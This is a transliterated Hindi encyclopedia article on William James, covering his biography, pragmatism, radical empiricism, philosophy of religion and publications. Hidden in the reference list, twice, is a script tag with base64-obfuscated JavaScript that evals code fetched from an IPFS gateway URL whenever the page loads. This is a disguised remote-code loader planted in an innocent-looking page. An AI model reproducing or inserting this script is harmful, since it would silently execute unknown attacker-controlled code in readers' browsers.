विलियम जेम्स

	viliyam jems
	viliyam jems\|200px\|center
poora nam	viliyam jems
janm	11 janavari, 1842
janm bhoomi	nyooyark, amarika
mrityu	26 agast, 1910
karm bhoomi	amarika
mukhy rachanaean	'priansipils aauf saik aaulaji', 'briphar kors', 'memorij eand stadij', 'esej in redikal eanpirisijm' adi.
prasiddhi	darshanik tatha manovaijnanik
nagarikata	amariki
any janakari	varsh 1890 ee. mean viliyam jems ki pustak 'priansipils aauf saik aaulaji' prakashit huee, jisane manovijnan ke kshetr mean kraanti macha di aur jems ko usi ek pustak se jagatik khyati mil gee.

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viliyam jems (janm- 11 janavari, 1842, nyooyark, amarika; mrityu- 26 agast, 1910) prasiddh amariki darshanik tatha manovaijnanik tha. usaka bhaee henari jems ek prakhyat upanyasakar tha. 1890 ee. mean viliyam jems ki pustak 'priansipils aauf saik aaulaji' prakashit huee thi, jisane manovijnan ke kshetr mean kraanti-si macha di aur jems ko usi ek pustak se vishv mean khyati mil gee. akarshak lekhan shaili aur abhivyakti ki kushalata ke liye viliyam jems vikhyat hai.

janm tatha shiksha

prasiddh darshanik aur manovaijnanik viliyam jenm ka janm 11 janavari, 1842 ko nyooyark mean hua tha. isaka bhaee henari jems ek prakhyat upanyasakar tha. harvard mean jems ne sharir vijnan ka adhyayan kiya aur vahian 1872 se 1907 ee. tak kramash: sharir vijnan, manovijnan aur darshan ka pradhyapak raha. usane 1899 se 1901 tak edinabara vishvavidyalay mean prakritik dharm par aur 1908 mean aauksaford vishvavidyalay mean darshan par vyakhyan die.^[1]

lekhan kary

varsh 1890 ee. mean viliyam jems ki pustak 'priansipils aauf saik aaulaji' prakashit huee, jisane manovijnan ke kshetr mean kraanti macha di, aur jems ko usi ek pustak se jagatik khyati mil gee. apani any rachanaoan mean usane darshan tatha dharm ki samasyaoan ko sulajhane mean apani manovaijnanik manyataoan ka upayog kiya aur unaka samadhan usane apane 'phalanumeyapramanavad'^[2] aur 'adharabhoot anubhavavad'^[3] mean paya. jems ne 'jnan' ko brihattar vyavaharik sthiti ka jisase vyakti svayan ko sansar mean pratishthit karata hai, bhag manate hue 'jnata' aur 'jney' ko jivi^[4] aur parivesh^[5] ke roop mean sthapit kiya hai. is prakar saty koee poorvavritt vastavikata^[6] nahian hai, apitu vah pratyay ki vyavaharik saphalata ke aanshoan par adharit hai. sabhi bauddhik kriyaoan ka mahatv unaki vyavaharik uddeshyoan ki poorti ki kshamata mean nihit hai.

manovaijnanik siddhaant

viliyam jems ne adharabhoot anubhavavad ko pahale manovaijnanik siddhaant ke roop mean prastut kiya. l aauk aur barkale ke matoan se bhinn usaki manyata thi ki chetana ki parivartanashil sthitiyaan paraspar sanbandhit rahati haian; tadanusar samagr anubhav ki sthitiyoan mean sanbandh sthapit ho jata hai; mastishk adi koee bahy shakti usamean sahayak nahian hoti. mastishk pratyaksh anubhav ki samagrata mean bhed karata hai. phalanumey pramanyavad aur adharabhoot anubhavavad par hi viliyam jems ki dharmik manyataean aghrit haian. phalanumey pramanyavad saty ki apeksha dharmik vishvasoan ki vyakhya mean adhik sahayak tha, kyoanki vishvas pray: vyavaharik hote haian. yahaan tak ki tarkoan ke praman ke abhav mean bhi many hote haian. kiantu parinamavadi drishtikon se saty ki paribhasha sthir karana sandigdh hai. 'd vil tu biliv' mean viliyam jems ne aant:karan ke ya sanvegajany pramanoan par bal diya hai aur siddh kiya hai ki uddeshy aur sankalp hi vyakti ke drishtikon ka nirman karate haian.^[1]

dharmadarshan

'd veraitiz aauf rilijas eksapiriyeans' mean viliyam jems ne vyakti ko nishkriy aur shaktihin dikhalaya hai tatha yah bhi pradarshit kiya hai ki usaki raksha koee bahy shakti karati hai. usake anubhavavad se dharmik anubhooti ki vyakhya isaliye asanbhav hai ki in anubhootiyoan ka vyakti ke avachenat se sidha sanbandh hota hai. jems ke dharmadarshan mean tin batean mukhy haian-

aant:karan ya sanvegajany pramanoan ki satyata par bal
dharm ki sandigdh sarvotkrishtata aur eeshvar ki simitata ka agrah
bahy anubhav ko yathavath‌ grahan karane ki aturata

prakashit pustakean

akarshak lekhan shaili aur abhivyakti ki kushalata ke liye viliyam jems vikhyat hai. usaki any prakashit pustakean nimnalikhit haian^[1]-

'briphar kors' (1892)
'hyooman immarataliti' (1898)
'taks tu tichars an saik aaulaji' (1899)
'pragmaitijm' (1907)
'a plyooralistik yoonivars' (1909)
'd miniang aauf trooth (1909)
'memorij eand stadij' (1911)
'sam prablems aauv philasaphi' (1911)
'esej in redikal eanpirisijm' (1912)

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 viliyam jems (hindi) bharatakhoj. abhigaman tithi: 03 sitambar, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ Pragmatism
↑ Radical Empiricism
↑ Organism
↑ Environment
↑ Antecedent Reality

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[aa-1] 1.0 ^1.1 ^1.2 viliyam jems (hindi) bharatakhoj. abhigaman tithi: 03 sitambar, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] Pragmatism

[3] Radical Empiricism

[4] Organism

[5] Environment

[6] Antecedent Reality

[1]

[2]

[3]

[4]

[5]

[6]